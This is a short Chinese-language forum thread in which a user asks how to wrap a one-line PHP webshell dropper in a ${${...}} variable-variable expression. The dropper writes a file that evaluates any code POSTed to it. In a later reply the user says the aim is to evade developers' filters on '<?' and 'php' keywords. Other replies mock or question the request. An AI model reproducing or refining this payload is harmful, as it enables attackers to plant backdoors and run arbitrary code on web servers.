<?php
${${phpinfo()}}
?>
//这个是phpinfo的 那么我想转下这个怎么写:
<?fputs(fopen("yjh.php","w"),"<?eval(\$_POST[s]);?>")?>

解决方案 »

  1.   

    你太农了!
    这不php的另一种写法。咋学的你
      

  2.   

    从没写过这样的代码.${${phpinfo()}}不直观,也不比输入下面的语句强,有什么好处。echo phpinfo();
      

  3.   

    那我告诉告诉你啊!
    一般php程序员考虑了过滤<?  php等关键字。插入 缓存等。
    但是没有考虑这个 能理解不
      

  4.   

    你是想防止rxx攻击吗?还是?